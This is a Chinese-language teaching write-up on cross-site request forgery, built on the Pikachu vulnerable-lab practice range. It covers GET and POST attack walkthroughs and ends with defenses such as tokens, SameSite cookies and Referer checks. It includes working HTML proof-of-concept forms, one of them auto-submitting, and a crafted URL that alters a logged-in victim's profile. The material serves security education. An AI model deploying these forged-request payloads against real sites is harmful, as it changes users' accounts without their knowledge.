Pikachu靶场-CSRF
字数 1439 2025-08-11 21:26:33
CSRF(跨站请求伪造)攻击原理与防御教学文档
1. CSRF概述
CSRF(Cross-site request forgery,跨站请求伪造)是一种Web安全漏洞,攻击者会伪造一个请求(通常是一个链接),欺骗目标用户点击。用户一旦点击这个请求,攻击即完成,因此CSRF也被称为"one click"攻击。
关键特征:
- 攻击者利用用户已登录的身份,在用户不知情的情况下执行非预期的操作
- 攻击者并不直接获取用户的权限,而是借用用户的权限
- 需要用户处于已登录状态并点击恶意链接
与XSS的区别:
- CSRF:借用户的权限完成攻击,攻击者没有拿到用户权限
- XSS:直接盗取用户权限(如cookie),然后实施破坏
2. CSRF攻击场景示例
场景:攻击者小黑想修改受害者大白在购物网站上的会员地址
正常流程:
- 大白登录网站
- 修改会员信息并提交请求
- 修改成功
攻击流程:
- 小黑发现修改信息的请求格式:
http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change - 小黑伪装这个链接,在大白登录网站后欺骗其点击
- 大白点击后,个人信息被修改
3. CSRF攻击成功的关键条件
- 目标网站对敏感操作缺乏足够验证,请求容易被伪造
- 受害者点击了攻击者提供的链接
- 受害者此时已登录目标网站
4. CSRF攻击类型与实验
4.1 GET型CSRF
特点:参数通过URL传递
攻击步骤:
- 攻击者登录自己的账号(如kobe账号)
- 修改个人信息并抓包,获取请求格式
- 使用Burp Suite生成CSRF PoC(HTML表单)
- 受害者(如lucy账号)在已登录状态下访问恶意HTML页面
- 受害者信息被修改为攻击者预设的值
示例PoC:
<html>
<body>
<form action="http://target.com/csrf_get_edit.php">
<input type="hidden" name="sex" value="boy" />
<input type="hidden" name="phonenum" value="15988767673" />
<input type="hidden" name="add" value="nba lakes" />
<input type="hidden" name="email" value="kobe@pikachu.com" />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
替代攻击方式:直接构造恶意URL
/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=15988767673&add=nba lakes&email=kobe@pikachu.com&submit=submit
4.2 POST型CSRF
特点:参数通过请求体传递,无法直接通过URL攻击
攻击步骤:
- 攻击者登录自己的账号(如kobe账号)
- 修改个人信息并抓包,分析POST请求格式
- 构造自动提交表单的HTML页面并托管在公网服务器
- 受害者(如lili账号)在已登录状态下访问恶意页面
- 受害者信息被修改为攻击者预设的值
示例PoC:
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://target.com/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="boy" />
<input id="phonenum" type="text" name="phonenum" value="15988767673" />
<input id="add" type="text" name="add" value="nba lakes" />
<input id="email" type="text" name="email" value="kobe@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
5. CSRF防御措施
5.1 CSRF Token
原理:
- 服务器为每个会话生成唯一的随机token
- 每次提交敏感请求时,必须附带正确的token
- 服务器验证token的有效性
实现特点:
- Token通常作为隐藏字段包含在表单中
- 每次请求后,服务器会生成新的token
- 攻击者无法预测或获取有效的token
5.2 其他防御措施
- 验证码:对敏感操作要求输入验证码
- 检查Referer头:验证请求来源是否合法
- SameSite Cookie属性:设置Cookie的SameSite属性为Strict或Lax
- 二次验证:敏感操作前要求验证密码或其他凭证
- 自定义HTTP头:通过AJAX请求添加自定义头并验证
6. 实验环境搭建建议
- 使用Pikachu靶场或其他Web安全学习平台
- 准备多个浏览器或不同用户账号模拟攻击者和受害者
- 使用Burp Suite等工具分析请求和生成PoC
- 搭建简单的Web服务器托管恶意HTML文件
7. 总结
CSRF是一种利用用户信任和已登录状态的攻击方式,防御关键在于确保敏感操作不能被轻易伪造。开发者应结合Token、验证码等多种措施进行防护,而用户应提高安全意识,不随意点击不明链接。